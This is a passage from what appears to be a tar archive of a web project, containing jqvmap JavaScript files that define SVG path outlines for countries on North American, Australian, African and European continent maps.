6.22,5.9 -2.5,0.45 -0.84,6.17 -3.72,4.67 0.19,-3.37 -2.81,0.5 -2.99,1.87 -0.8,1.83 -2.3,3.26 -0.46,4.87 0.08,0.47 0.4,1.59 0.03,1.87z","name":"Montenegro"},"rs":{"path":"m397.48,431.57c-0.16,-2.49 -1.05,-5.46 -3.99,-5.18 -0.83,-1.86 -3.16,-3.89 -0.74,-5.1 2.42,-2.35 -3,-3.15 -2.73,-5.8 -1.28,-2.34 -5.16,-1.7 -5.47,-5.07 -0.61,-1.48 -2.43,-2.36 0.08,-2.14 2.37,-1.69 -1.79,-3.25 -2.79,-4.49 -3.49,-0.35 0.76,-4.99 -0.07,-7.08 -1.54,-0.41 -2.38,-0.6 -2.22,-2.53 -0.29,-0.9 3.52,-0.03 1.84,-1.89 -1.99,-0.46 -4.18,-1.03 -2.61,-2.61 0.5,-1.92 -2.64,0.29 -1.69,-2.2 -0.12,-1.58 -1.93,-2.81 0.65,-3.27 2.64,-1.35 4.3,-3.64 7.52,-3.04 2.34,-0.11 4.56,2.67 6.11,3.82 1,0.92 0.22,4.94 3.24,4.94 1.65,0.3 5.5,0.5 3.47,2.78 1.27,1.27 0.97,1.07 -0.4,2.22 0.32,1.47 3.21,0.4 3.09,2.01 1.78,0.14 4.21,-0.13 4.93,1.74 2.85,0.45 1.17,-3.79 1.99,-3.56 1.66,0.7 3.37,1 1.04,1.99 -1.64,2.21 4.19,3.86 0.86,5.71 -2.2,2.75 0.34,6.72 2.98,8.19 2.92,0.51 3.82,2.98 1.52,5.06 -0.82,0.05 -2.7,-0.25 -2.65,1.85 -1.23,2.37 3.66,5.04 -0.48,5.54 -2.42,1.11 -4.61,2.18 -7.35,2.39 -1.32,2.74 -6.31,0.55 -6.16,5.74z","name":"Serbia"}}});
js/jqvmap/maps/continents/jquery.vmap.north-america.js000060400000040135150710775200017154 0ustar00/** Add World Map Data Points */
jQuery.fn.vectorMap('addMap', 'north-america_en', {"width":950,"height":550,"pathes":{"mx":{"path":"m 330.70592,371.79351 8.52959,26.86025 -3.97341,2.22511 0.44149,5.3332 7.50533,5.77469 v 10.68406 l 9.27129,8.90044 -3.97341,-26.24217 -5.29788,-17.35939 1.32447,-12.00853 4.4149,0.44149 1.76596,4.00873 -1.76596,10.22491 22.95748,44.92603 v 16.01726 l 18.54259,21.79195 20.30854,9.34193 8.38831,-4.89171 11.92023,9.78342 7.06384,-7.11682 -3.09043,-8.01745 10.15428,-3.10809 3.09043,1.78361 3.09043,-3.10809 h 4.85639 l 8.8298,-15.57577 -4.4149,-4.00872 -17.21811,4.00872 -3.97342,11.56704 -10.15427,1.78362 -11.92023,-4.89171 -5.29788,-16.90024 4.00873,-21.31514 -8.19406,-5.10362 -3.90277,-20.46748 -3.26702,-1.39511 -5.96895,6.05724 -6.85193,-3.65553 -2.68426,-13.65088 -27.14281,-2.84319 -14.02172,-10.54279 -13.35066,0.68873 0,0 z","name":"Mexico"},"gl":{"path":"m 655.00687,62.11471 -2.40171,3.832134 4.32661,4.326603 -1.9249,4.326603 6.2515,8.158736 7.68193,-2.401706 10.08363,-0.953618 11.53172,12.485339 7.68193,20.644079 -6.23384,12.96215 8.63554,-1.44809 4.80342,2.87851 0.4768,6.2515 -10.56044,0.47681 5.75703,5.75703 7.20512,1.44809 -15.84066,21.12089 -1.9249,12.96214 3.35532,10.56045 -2.4017,6.2515 4.3266,13.43895 8.15874,9.13002 2.4017,-0.47681 5.28023,-1.44809 0.4768,7.68193 3.35533,4.80341 6.23384,-0.47681 4.80341,-17.76556 14.41024,-17.76556 21.61535,-8.63555 13.43896,-16.81194 6.23384,2.87852 h 12.96215 l 10.56044,-10.56044 12.96215,-5.28023 1.44809,-8.15873 -8.15874,-7.20512 -7.20512,-2.40171 -3.84979,-10.08363 9.13001,-5.28022 14.41024,7.68193 4.80341,-5.28023 -7.68193,-4.3266 16.33514,-22.092161 -2.87852,-9.606824 -7.68193,-0.47681 2.87852,-8.635545 9.60682,-4.326603 19.69046,-17.288752 -5.75703,-6.233839 -22.09216,1.924896 -11.53172,11.531721 6.7283,-14.887045 -7.68192,-1.924897 -4.32661,7.681927 -6.23384,-5.280221 -17.28875,1.924897 4.80342,-7.681928 28.326,-0.953618 -7.20512,-9.606824 -30.72771,-5.757031 -12.48534,1.924897 0.47681,6.251499 -12.96215,-4.326602 0.47681,-4.326603 -9.13001,1.924897 -1.9249,4.803412 9.60682,3.355324 -10.08363,7.205118 -7.20512,-8.158736 -10.08363,-2.878516 -1.44809,7.681928 h -10.08363 l -3.84979,-8.158737 -15.84067,-2.401706 -8.63554,4.326603 -0.47681,5.757031 -11.03726,-1.448088 -6.7283,2.878515 0.47681,6.728309 v 3.355325 l -12.48534,2.401706 -5.75703,-3.832134 -3.8498,6.23384 5.75703,6.251499 12.00853,-1.448087 0.95362,3.849793 -9.13001,4.326603 -8.14108,-3.885113 0,0 m 38.4273,74.91204 2.87851,4.3266 -1.44809,5.28022 h -2.87851 l -3.8498,-4.3266 0.95362,-3.35533 4.34427,-1.92489 0,0 m 120.04998,-12.00853 8.15873,2.4017 -0.47681,6.72831 -8.63554,-4.3266 -1.9249,-2.40171 2.87852,-2.4017 0,0 z","name":"Greenland"},"us":{"path":"m 210.05551,67.90706 6.11022,11.425763 3.92044,-0.88298 v -3.955751 l -10.03066,-6.587032 0,0 m -34.45388,100.5008 -0.30022,5.31554 3.81448,-0.88298 v -2.36639 l -3.51426,-2.06617 0,0 m -5.86299,2.36639 -7.62895,3.84979 1.18319,4.13235 2.9315,-2.36639 5.86299,-2.6666 -2.34873,-2.94915 0,0 m -31.69899,5.01532 -5.28022,-1.18319 -0.88298,2.36639 0.58277,4.43256 5.58043,-5.61576 0,0 m -11.16087,-0.28255 -4.99767,-2.06617 -1.76596,3.24936 3.23171,3.24937 3.53192,-4.43256 0,0 m -17.30641,-4.73277 -2.34873,-3.24937 -2.34872,0.88298 v 4.43256 l 2.64894,1.76596 2.04851,-3.83213 0,0 M 90.5,149.77698 l 2.931494,2.06617 -0.88298,2.36639 H 90.5 v -4.43256 l 0,0 m 15.06364,263.11042 -0.24723,4.11469 3.60256,2.41937 2.15447,-1.9249 -5.5098,-4.60916 0,0 m 9.34193,6.05725 -3.35532,2.41936 2.87851,3.62022 3.35533,-2.89617 -2.87852,-3.14341 0,0 m 6.72831,5.79235 -2.87852,3.86745 0.95362,2.41937 4.07937,-1.9249 -2.15447,-4.36192 0,0 m 4.78575,7.48767 -1.67766,9.6598 1.67766,3.62022 5.5098,-1.69532 2.87851,-4.83873 -6.00426,-5.56278 -2.38405,-1.18319 0,0 m 440.14795,37.80921 -4.66214,-1.5717 -3.74383,2.34872 1.87191,2.18979 6.37512,0.93596 0.15894,-3.90277 0,0 M 252.3326,52.967036 l -14.81641,3.514261 3.05512,16.688325 16.12321,4.397241 0.86532,3.514261 -23.96408,7.470012 -13.50959,22.392374 4.78575,23.71685 7.84086,5.26256 6.11023,-5.70405 1.7483,3.51426 -7.41704,8.77682 -28.76749,13.17407 -18.31301,4.39724 -0.44149,6.58703 42.27709,-12.29108 17.43003,-4.83874 16.12322,-19.76109 17.87151,-11.84959 -9.14767,15.36385 10.03065,1.32447 17.0062,-7.47001 3.05511,12.29108 11.7613,2.63128 12.20278,11.8496 0.86533,8.77682 -1.74831,2.18979 2.17214,8.33533 h 3.05511 l 0.44149,-14.05704 h 3.47894 l 0.86532,34.68346 8.72384,-7.47001 -6.11022,-36.00793 h -9.14767 L 316.80781,141.6359 366.06044,58.194278 317.2493,19.996557 262.76943,30.53934 l -2.17213,16.688325 11.76129,7.028522 -4.36192,11.425763 -15.66407,-12.714914 0,0 m 98.27569,200.348194 -1.76596,7.09916 -6.1632,-3.99107 h -3.07277 l -1.76596,7.54065 -21.56238,48.31668 5.72172,42.10049 7.04618,3.54958 1.32447,11.53172 h 14.51619 l 14.0747,10.63108 27.70792,2.6666 3.07277,14.18066 4.39724,3.10809 6.16321,-6.19852 4.83873,2.20745 4.39724,20.37918 7.47001,4.87406 6.1632,-11.53173 18.91344,-13.73917 12.30874,5.75703 10.56044,0.88298 0.44149,-6.64001 21.98621,0.44149 4.39724,4.87405 0.88298,11.07257 -2.63128,6.19853 3.07277,10.63108 h 6.60469 l 6.60469,-10.18959 -2.63128,-4.87405 -2.63128,-10.63109 3.95575,-11.97321 18.03046,-15.50513 13.63321,-3.99107 -1.76596,-12.85619 18.91343,-20.39684 18.91344,-3.10809 -3.07277,-10.61342 18.47194,-10.63108 v -14.18066 l -1.76596,-0.88298 -6.60469,2.20745 -0.88298,8.68852 -21.95089,0.26489 -17.20045,11.42577 -27.00153,8.8298 -4.30895,-5.28022 12.25577,-18.54259 -6.05724,-5.77469 -4.11469,-7.84086 -8.52959,-6.85193 -9.27129,-0.77702 -17.51833,-11.95555 -124.57084,-20.5028 0,0 z","name":"United States of America"},"bb":{"path":"m 586.02846,499.68435 -2.17213,1.57171 1.71298,3.14341 2.80788,-1.57171 -2.34873,-3.14341 0,0 z","name":"Barbados"},"tt":{"path":"m 586.32867,511.92246 -1.87191,1.73064 -2.03086,0.31787 v 2.50767 l 3.74384,3.44362 1.55404,-2.50767 0.93596,-2.82553 -0.31787,-2.34873 -2.0132,-0.31787 0,0 z","name":"Trinidad and Tobago"},"do":{"path":"m 552.54585,468.93898 -9.34193,-6.11022 -4.4149,-1.50106 -1.4834,10.59576 1.55404,2.98447 2.03085,-2.34873 5.91597,-1.5717 5.13895,1.09489 0.60042,-3.14341 0,0 z","name":"Dominican Republic"},"ht":{"path":"m 530.91284,460.00323 6.0749,0.63574 -0.72404,7.45235 -0.60043,3.92044 -7.0815,-0.38852 -1.25383,1.88958 -2.17213,-0.15893 -0.77702,-4.07937 7.47001,-0.61809 -0.45915,-4.2383 -3.42596,-1.41277 2.94915,-3.00213 0,0 z","name":"Haiti"},"cu":{"path":"m 477.91637,445.0632 v 2.24277 l 9.39491,0.1766 4.43256,-2.57831 0.68872,1.88958 9.21832,2.24277 8.19405,7.39938 -1.87192,2.5783 0.33554,2.93149 6.83426,1.71298 6.83427,-3.09043 3.07277,-3.09043 -4.43256,-2.24277 -22.86919,-13.4213 -8.01746,-0.86532 -11.81427,4.11469 0,0 z","name":"Cuba"},"bs":{"path":"m 511.04579,431.30637 -2.22511,-0.68872 -0.1766,4.29128 2.73724,2.7549 1.87192,-2.7549 -2.20745,-3.60256 0,0 m 4.43256,6.71065 -3.07278,1.71298 2.89618,4.13235 1.53639,-2.06618 -1.35979,-3.77915 0,0 m 9.90703,3.09043 -3.24936,-0.1766 0.33553,2.06618 2.38405,3.44362 2.04851,-2.24277 -1.51873,-3.09043 0,0 m -1.53638,-4.11469 -5.29788,-2.24277 -1.02426,-5.3332 2.04851,-0.86532 2.04852,4.13235 2.04851,1.55404 0.1766,2.7549 0,0 m -5.12129,-10.84299 -2.73724,-0.68873 -0.51212,-3.44362 -2.89618,-1.02426 1.87192,-1.88958 3.4083,1.20086 2.56064,1.55404 -1.69532,4.29129 0,0 z","name":"Bahamas"},"jm":{"path":"m 509.84493,467.43792 -6.14554,1.55404 v 1.71298 l 3.5849,2.06618 h 3.7615 l 2.38404,-2.7549 -3.5849,-2.5783 0,0 z","name":"Jamaica"},"ca":{"path":"m 447.68313,37.073393 0.38851,7.099161 -14.09236,14.604491 3.53192,11.831934 10.17193,-2.754898 5.88065,-8.688524 14.86938,-5.527456 12.13215,-0.794682 -9.39491,-10.26023 -4.69745,3.549581 -3.53192,-1.183194 -1.96022,-4.344262 -4.30894,-4.344263 -8.98874,0.812342 0,0 m 18.40131,-20.90897 -3.12575,5.527456 15.27555,5.527456 5.47448,-8.282354 2.34873,5.527456 h 3.92043 l 7.43469,-8.282354 -9.0064,-2.366387 -3.53192,-2.754898 -4.69745,4.732774 -14.09236,0.370851 0,0 m 26.63068,11.054912 -12.13215,5.121285 v 3.938091 l 15.66407,5.915967 -3.53192,3.938092 2.34872,5.121284 9.78342,-4.344262 h 8.22938 l 3.92043,6.304478 6.65767,-6.710649 -1.5717,-6.322138 -5.47448,1.977876 -0.77702,-7.893843 2.73724,-4.732773 h -2.73724 l -4.30895,2.754898 -1.96021,1.571704 1.18319,5.527456 -3.12575,2.366387 -4.69745,-0.388511 -1.1832,-7.099161 -9.02405,-7.046181 0,0 m 16.05258,-12.238105 -1.1832,3.938091 7.4347,3.54958 5.47447,-3.161068 -0.38851,-2.366387 -11.33746,-1.960216 0,0 m 5.86298,-6.7106493 -5.47447,1.9778753 0.38851,2.754898 12.13215,-0.794682 -0.38851,-2.7548979 -6.65768,-1.1831934 0,0 m 26.24217,6.7106493 -0.77702,2.754898 -1.96021,2.754898 v 3.938091 l 7.43469,-1.183193 7.8232,6.710649 h 2.73724 v -6.710649 l -7.8232,-8.688525 -7.4347,0.423831 0,0 m 19.97302,7.893842 3.12575,3.549581 -2.73724,4.732773 1.96021,5.121285 8.61789,-4.732774 v -3.54958 l -5.08597,-5.915967 -5.88064,0.794682 0,0 m 11.35512,-9.077036 0.38851,6.304479 h 10.5781 l 2.73724,2.366386 -0.38851,2.754899 -9.39491,1.183193 6.65767,9.077036 9.0064,1.571705 12.52066,-5.527456 -18.0128,-27.231108 -5.47447,3.5495802 0.38851,4.7327738 -6.26916,-2.366387 -2.73724,3.584899 0,0 m -91.22951,44.590498 -14.86938,3.938091 -8.61789,7.505332 0.77702,8.282354 15.66407,4.732773 -3.53192,7.893843 -11.35513,-7.099161 -3.12575,5.915967 7.4347,5.121285 -0.38851,8.282352 11.35512,3.16107 13.70385,-0.79468 2.34873,-4.34426 10.17193,11.44342 7.04618,-2.36639 1.1832,-7.89384 5.08596,3.54958 0.77702,-7.893843 -6.26915,-3.938091 0.38851,-24.847061 -5.47448,-4.344263 -5.86299,7.893843 -16.44109,-14.198321 0,0 m 47.76923,17.35939 -5.08597,-2.366387 -2.73724,3.54958 5.47448,8.688525 0.38851,8.282354 11.74364,-7.099161 V 76.542606 l 4.30894,-4.344262 -4.30894,-3.161069 h -7.04618 l -2.73724,6.710649 0,0 m 25.05897,-3.54958 -8.22937,6.710649 1.96022,8.282353 h 5.08596 l 2.34873,-4.344262 3.53192,3.54958 3.53192,-0.388511 9.39491,-7.893842 -17.62429,-5.915967 0,0 m -0.79468,-13.032787 -1.96021,3.938091 8.61788,3.161069 2.34873,-3.54958 -9.0064,-3.54958 0,0 m -5.08596,-14.993003 -8.61789,1.183193 -5.08597,4.732774 9.39491,0.388511 -2.73724,7.09916 1.96022,3.161069 2.73724,-0.388511 6.65767,-10.648741 -4.30894,-5.527455 0,0 m 14.88704,-2.754898 -4.69745,1.571704 0.77702,6.304478 7.8232,5.121285 0.38852,3.938092 -2.34873,2.366387 1.18319,7.893842 30.14494,9.854059 8.22938,2.754898 8.22937,-7.099161 -9.78342,-7.893842 -9.00639,2.366387 -12.52066,-1.183194 -4.69746,-4.732773 -1.18319,-13.015128 -7.8232,-3.938091 -4.71512,-4.308943 0,0 m 24.65281,41.040917 -8.61789,-0.794682 -10.17193,3.938091 -5.47448,7.487672 1.57171,20.520456 16.8296,0.79468 16.05258,7.89385 11.35512,13.01512 8.61789,-0.38851 -2.34873,12.22045 -7.8232,13.01513 -8.61789,3.93809 -6.26916,-1.1832 -3.12575,-2.75489 -4.69745,6.30447 1.96021,6.30448 6.65768,0.38851 8.22937,-3.93809 7.04618,18.15407 17.62429,11.44343 12.13214,-15.38152 -10.17193,-16.5647 5.88065,-6.71065 8.22937,13.80981 14.86939,-13.01513 -2.73724,-5.91597 -10.17193,3.16107 -7.04618,-19.33727 6.65767,-11.03725 -13.31534,-14.19832 -7.43469,5.12129 -7.04619,-15.38152 -14.86938,1.97788 -3.92043,-18.542585 -12.13215,8.282354 -1.18319,10.260231 h -6.65767 l 0.77702,-9.077038 9.34193,-13.809809 0,0 m 17.62428,7.09916 -3.12575,3.161069 2.73724,4.344263 12.92683,1.571704 -8.22938,-8.688524 -4.30894,-0.388512 0,0 M 592.56251,44.967236 v 3.54958 l -8.61788,1.977875 2.34872,3.938092 9.78342,3.938091 10.96662,1.183194 7.8232,5.527456 7.82321,-4.344263 -5.47448,-5.527456 h 7.04618 l 4.30894,-4.732773 10.57811,-1.571705 V 46.53894 l -5.88065,-3.938091 0.77702,-4.344262 16.44109,2.754898 24.28195,-9.465548 -9.00639,-2.754898 2.34872,-3.161069 h 18.78982 l 3.12575,-3.161069 -37.9858,-13.4212978 -9.0064,-3.1610689 -9.78342,7.0991607 -10.96662,-9.0770363 -5.88064,-0.3885112 -1.1832,7.5053315 -7.43469,-6.7106494 -8.61789,2.7548981 1.57171,4.3442623 12.92683,2.754898 -0.77702,6.304478 7.04618,4.344263 17.23577,-4.344263 0.38851,5.915967 -14.09236,6.710649 -8.61789,-6.710649 -7.8232,0.794682 7.8232,11.054912 -3.92043,1.977876 -5.88065,-5.121285 -4.30894,2.754898 3.92043,7.487671 h 6.65767 l -1.5717,7.099161 -5.47448,-0.794682 -7.04618,-7.505332 -4.66214,0.830002 0,0 m -34.89537,108.588894 -7.47001,9.39491 -0.45915,10.34853 6.53405,-3.76149 h 7.92916 l 5.59809,5.17426 5.13895,-4.23831 -17.27109,-16.9179 0,0 m 90.96461,122.20446 -18.6662,17.87152 1.87192,4.2383 22.85153,8.45895 3.26702,-5.63341 -1.87192,-9.39491 -7.47001,0.93596 -4.20298,-4.69746 6.9932,-7.04618 -2.77256,-4.73277 0,0 M 367.31428,59.624706 l 3.51426,5.315541 1.76596,7.09916 8.79448,2.20745 6.1632,-6.64001 5.28022,2.6666 14.95769,1.32447 10.56044,-4.43256 1.76596,14.622151 h 6.1632 v -6.198521 l 6.1632,0.44149 15.39918,18.171732 10.11895,6.198521 -5.28022,8.42363 2.20745,2.20745 19.76109,3.99107 0.44149,8.86512 5.28023,0.88298 1.32447,-13.29768 8.35299,-2.20745 6.1632,9.30661 13.19172,6.19852 6.60469,1.32447 4.39725,-5.31554 0.44149,-8.42363 7.9115,-4.87405 2.63128,7.09916 -7.04618,12.4147 0.88298,6.19852 3.95575,-6.19852 7.9115,-7.09916 0.44149,-9.30661 -4.39724,-7.09916 1.32447,-5.757031 10.56044,-5.31554 4.83873,3.54958 0.88298,31.027921 7.47002,-6.64001 4.39724,2.6666 -6.16321,10.63108 7.91151,1.76596 11.44342,-17.73024 9.67746,10.18959 -3.95575,18.17173 -9.67746,5.31554 -9.23597,-4.43256 -16.70599,3.54958 1.76596,5.75703 -4.39724,7.09916 -13.63321,3.10809 -15.39918,11.97322 -13.63321,18.17173 -1.76596,5.75703 9.23597,3.54958 3.51426,8.86512 12.75024,12.85619 20.2379,8.86512 -4.39724,20.37918 -0.44149,5.75703 5.28022,3.54958 7.04618,-9.30661 0.88298,-17.73024 11.00194,-0.44149 5.28022,-10.18959 0.88298,-15.50513 14.0747,-27.47834 17.58897,6.19852 9.23597,12.85619 -3.95575,12.85619 7.04618,3.99107 17.14747,-11.53172 4.83873,31.46941 15.84067,19.05471 0.44149,9.7481 -17.58897,4.43256 -8.35299,8.86512 -17.58896,-3.99107 -8.79449,-0.44149 -15.39917,11.97321 9.23597,-2.20745 11.44343,-2.20745 2.20745,2.6666 -3.07277,9.7481 0.44149,8.86513 5.28022,3.54958 5.28022,-1.32447 2.64894,-3.99107 h 3.51426 l -5.72171,10.63108 -11.00193,0.44149 -4.83874,7.09916 h -6.1632 l -1.76596,-5.31554 8.79448,-8.86512 -10.56044,3.54958 -0.47681,-15.06365 -3.03745,-1.76596 -9.23597,3.99107 -0.88298,7.54065 h -21.12089 l -18.03045,12.41471 -24.19366,7.98214 -2.63128,-3.54958 12.18513,-18.18939 -6.92257,-6.65768 -4.39724,-8.44129 -8.95342,-6.83426 -9.60682,-0.79468 -17.21811,-12.06151 -124.87106,-20.52046 -2.06617,-8.45895 -11.44342,-10.63108 v -8.86512 l 1.76596,-7.98214 -0.88298,-4.43256 -4.39724,-4.43256 -0.88298,-7.09916 11.44342,-7.98215 -7.04618,-38.10942 -9.67746,-0.44149 -8.79449,-11.53172 48.31668,-82.099494 0,0 m -43.07178,140.835334 -3.00213,5.75703 1.04192,4.07937 1.96021,1.21851 -0.45914,1.66 -2.1015,0.60043 0.60043,6.05724 2.26043,2.27809 1.80128,-1.96021 -2.26043,-5.89831 1.34213,-4.69745 3.30234,-4.39725 -2.4017,-4.07936 -2.08384,-0.61809 0,0 m 9.9247,34.50686 -2.70192,1.05958 4.96235,5.75703 1.20085,6.81661 4.96235,5.29788 4.20299,-0.75936 v -6.95789 l -5.10363,-3.17873 -7.52299,-8.03512 0,0 z","name":"Canada"},"gt":{"path":"m 432.05438,488.50582 10.47215,7.66427 10.56044,-13.12108 -1.80128,-2.71958 -3.60256,-0.12362 v -7.68193 l -2.70192,-1.64234 -8.1764,2.43703 3.12575,7.20511 -7.87618,7.98214 0,0 z","name":"Guatemala"},"hn":{"path":"m 454.4291,483.66709 16.31747,-0.61808 4.83873,5.75703 -3.01979,-0.68873 -5.81001,0.24724 -7.59363,7.13448 -3.24937,7.22278 -2.13681,-1.13022 -0.0177,-7.9115 -4.69745,-3.14341 5.36852,-6.86959 0,0 z","name":"Honduras"},"sv":{"path":"m 444.00993,496.89414 8.30002,4.13234 -0.12362,-6.55171 -4.25597,-2.59596 -3.92043,5.01533 0,0 z","name":"El Salvador"},"ni":{"path":"m 472.42423,489.54774 3.86746,0.77702 0.12361,7.92917 -4.50319,12.85619 -12.13215,-1.20086 -2.70192,-6.19852 3.60256,-7.52299 6.83426,-6.35746 4.90937,-0.28255 0,0 z","name":"Nicaragua"},"cr":{"path":"m 471.78849,512.27565 2.45468,4.80341 1.99554,2.64894 -2.68426,7.96448 -5.12129,-3.60256 -8.37065,-7.66426 v -5.06831 l 11.72598,0.9183 0,0 z","name":"Costa Rica"},"pa":{"path":"m 477.45722,520.45205 -2.5783,8.05278 8.51193,2.20745 5.28022,1.04191 0.90064,-6.23384 5.66873,-2.86085 5.03299,2.59596 1.97787,3.16107 2.40171,-0.28256 1.88958,-5.73937 -6.28682,-2.59596 -4.76809,-2.59596 -4.7681,3.24937 -5.66873,2.86085 -5.79235,-2.33107 -1.80128,-0.52978 0,0 z","name":"Panama"},"bz":{"path":"m 449.14888,472.40027 -0.0883,6.44575 h 1.48341 l 5.05064,-9.43023 h -3.42596 l -3.01979,2.98448 0,0 z","name":"Belize"}}});
js/jqvmap/maps/continents/jquery.vmap.australia.js000060400000007251150710775200016412 0ustar00/** Add World Map Data Points */
jQuery.fn.vectorMap('addMap', 'australia_en', {"width":950,"height":550,"pathes":{"pg":{"path":"m 484.34788,3.4935749 -1.05721,69.8328711 10.05776,-0.54289 13.22939,-15.458095 11.11497,0.542891 7.1433,6.400394 2.37157,19.715499 22.74426,12.000739 5.82893,-2.142989 v -7.200443 l -18.25827,-15.200936 -9.00055,-20.801281 7.1433,-3.457356 -5.28604,-11.457848 -10.57208,-0.257159 -2.65731,-12.257897 -28.0303,-18.9154509 -4.77172,-0.8000492 0,0 m 79.20488,2.0286963 -2.51444,3.5716485 13.7437,12.1721783 1.88583,7.143297 3.74309,-0.428598 0.4286,-7.343309 -4.17169,-3.771661 -13.11509,-11.3435558 0,0 m 6.88614,17.2296328 -2.71446,0.62861 -1.65724,7.343309 -5.20032,3.371636 -15.62954,2.743026 0.62861,5.886077 16.45816,-0.828622 10.42921,-6.514687 -0.62861,-11.343556 -1.68581,-1.285793 0,0 m 18.54399,12.800788 3.54308,9.85775 6.25753,6.086089 1.88583,-1.685818 -0.62861,-6.514687 -7.08615,-8.60053 -3.97168,0.857196 0,0 z","name":"Papua New Guinea"},"au":{"path":"m 222.64605,231.19331 -1.00006,72.51875 -11.14354,8.17193 -1.00007,7.1433 15.20094,10.20063 37.5166,-7.1433 h 19.25833 l 7.08615,-10.2292 42.57405,-8.17193 30.40187,9.20056 -2.0287,12.2579 4.05739,12.2579 23.31573,-4.08597 1.00006,6.11467 -15.20094,11.22926 5.05746,4.08596 11.14354,-4.08596 -3.02876,33.71636 21.28703,16.34386 12.17217,-4.08596 6.08609,6.11466 35.4879,-5.1146 33.45921,-54.14619 12.17217,-3.05733 24.31579,-44.94563 6.08609,-38.80239 -15.20094,-19.40119 6.08609,-4.08597 -12.17218,-37.80232 -13.17224,-9.20057 2.0287,-51.06029 -12.17218,-9.20056 -3.02876,-28.601766 h -6.08609 l -20.28696,67.404146 -11.14354,1.02864 -25.34442,-25.54443 14.20087,-37.80233 -26.34448,-5.114599 -29.40181,8.171929 -8.11478,23.48716 -13.17224,3.05733 -1.00006,-16.34386 -53.7176,32.68773 1.00006,12.2579 -8.11478,11.22926 h -20.28696 l -43.60269,18.37256 -15.22951,40.97395 0,0 m 184.49708,195.09773 -5.05746,20.42983 1.00006,14.28659 15.20094,-1.02863 17.22963,-26.5445 -28.37317,-7.14329 0,0 z","name":"Australia"},"nz":{"path":"m 656.52991,385.43138 3.02876,33.71636 -4.05739,15.31523 -15.20094,11.22926 1.00006,13.28653 v 14.2866 l 4.05739,5.1146 41.57399,-35.74506 v -8.17193 H 676.7883 l -14.20087,-48.00296 -6.05752,-1.02863 0,0 m -30.40187,73.54738 8.11478,15.31523 -22.31566,21.45847 -2.02869,11.22926 -15.20094,2.0287 -25.34442,23.48716 -23.31572,-11.22927 -2.02869,-8.17193 42.57405,-18.37256 39.54529,-35.74506 0,0 z","name":"New Zealand"},"nc":{"path":"m 638.30022,209.73485 -1.00006,5.1146 13.17223,18.37256 7.08616,3.05733 1.00006,-7.1433 -20.25839,-19.40119 0,0 z","name":"New Caledonia"},"sb":{"path":"m 606.26967,50.23931 0.4286,6.514687 3.97167,3.771661 3.74309,-2.314428 -3.34306,-6.943285 -4.8003,-1.028635 0,0 m 5.00031,16.172425 -3.34306,3.571648 3.54307,6.514687 4.17169,1.25722 -0.20001,-4.40027 -4.17169,-6.943285 0,0 m 8.14336,-3.771661 2.91446,7.143297 5.62892,6.714699 3.11448,-5.028881 -4.17169,-7.143297 -7.48617,-1.685818 0,0 m 14.6009,10.714946 1.65724,8.829115 3.97168,5.457479 3.34306,-6.914712 -8.97198,-7.371882 0,0 m 4.57171,19.744072 -1.45723,2.514441 4.80029,6.314677 3.34306,0.20001 -2.08584,-8.200505 -4.60028,-0.828623 0,0 m -10.62923,12.572208 -5.00031,2.31442 4.3717,6.08609 3.74309,-2.11441 -3.11448,-6.2861 0,0 z","name":"Solomon Islands"},"vu":{"path":"m 678.95986,143.30218 -3.54307,4.74315 1.4858,5.34319 1.77154,1.20007 3.22877,-4.17168 -2.94304,-7.11473 0,0 m 1.77154,14.54376 0.28573,3.85738 3.82881,1.20007 2.65731,-1.48581 -2.65731,-4.17168 -4.11454,0.60004 0,0 m 5.60035,34.45926 -1.77154,2.68588 2.6573,2.97161 4.42885,-1.4858 -5.31461,-4.17169 0,0 z","name":"Vanuatu"},"fj":{"path":"m 758.25046,186.36198 -3.54308,4.74315 -0.28573,5.34318 4.11454,4.17169 -0.28573,-14.25802 0,0 z","name":"Fiji"}}});
js/jqvmap/maps/continents/jquery.vmap.africa.js000060400000037246150710775200015661 0ustar00/** Add World Map Data Points */
jQuery.fn.vectorMap('addMap', 'africa_en', {"width":950,"height":550,"pathes":{"dz":{"path":"m 419.83634,8.1546547 -9.8215,-3.2979062 -40.87478,7.6790665 -8.90675,6.764318 5.44034,28.092384 -16.24881,0.649952 -9.77336,15.719217 -23.27792,5.584776 0.0722,11.434346 76.6703,58.616072 13.07126,1.10732 43.59495,-34.06231 -4.35709,-5.48849 -8.18458,-1.107324 -4.91075,-8.232729 V 57.551031 l -3.27383,-3.297906 0.55366,-8.786393 -8.71418,-8.786392 -1.08325,-9.340056 3.80342,-2.744243 -1.63691,-9.893719 -2.14244,-6.5476673 0,0 z","name":"Algeria"},"ma":{"path":"m 358.23531,19.68529 h -27.80352 l -5.44034,12.084299 -12.54167,6.042149 -10.3511,28.020167 -20.17259,12.084298 -28.33311,46.676207 27.80352,-0.55366 1.08325,-13.72122 h 7.07726 V 91.637419 h 24.52968 l 0.55367,-24.168597 23.44642,-5.488487 9.82151,-15.935868 15.26184,-0.553663 -4.93482,-25.805514 0,0 z","name":"Morocco"},"mr":{"path":"m 253.78556,126.51819 5.24776,6.86061 -1.08325,29.65708 7.63092,-5.48848 5.44034,-1.10733 7.63093,2.74425 8.71417,12.08429 8.18459,-5.48848 39.79152,-0.55367 -9.8215,-66.463638 10.54367,-0.04815 -19.643,-15.045192 0.0241,9.773357 -24.8667,0.02407 -0.12036,18.656033 -7.14947,-0.0241 -0.91475,13.76936 -29.60894,0.64995 0,0 z","name":"Mauritania"},"sn":{"path":"m 270.94912,158.2455 -4.59781,1.13139 -9.48449,6.90876 -2.16651,3.85157 -0.67403,3.82749 3.44234,2.47945 11.67507,-0.14443 7.51056,-2.02208 0.84253,3.68307 -0.69809,4.88667 0.1685,0.0722 -18.65604,0.28887 3.00904,7.22169 1.63692,-4.4293 22.36317,1.87764 0.14444,0.14443 2.33501,0.0963 7.14948,0.28887 0.28887,-4.21266 -8.64196,-10.37516 -9.62893,-13.09534 -6.01807,-2.47944 z","name":"Senegal"},"gm":{"path":"m 258.57595,178.70696 -0.31294,2.67202 16.65804,-0.24072 0.84253,-2.47945 -0.36109,-2.50352 -4.79039,1.94986 -12.03615,0.60181 0,0 z","name":"Gambia"},"gw":{"path":"m 262.69231,193.60772 3.37013,6.66802 9.46042,-8.13644 0.0963,-2.50352 -11.14547,-1.61284 -1.78136,5.58478 0,0 z","name":"Guinea-Bissau"},"gn":{"path":"m 267.07347,201.81637 7.31799,11.26584 9.53263,-8.28087 9.77336,-0.4333 8.13644,10.80846 6.90875,4.54967 2.59981,-5.05518 2.31094,-1.29991 -0.16851,-11.12141 -4.59781,-13.19162 -14.10637,1.5647 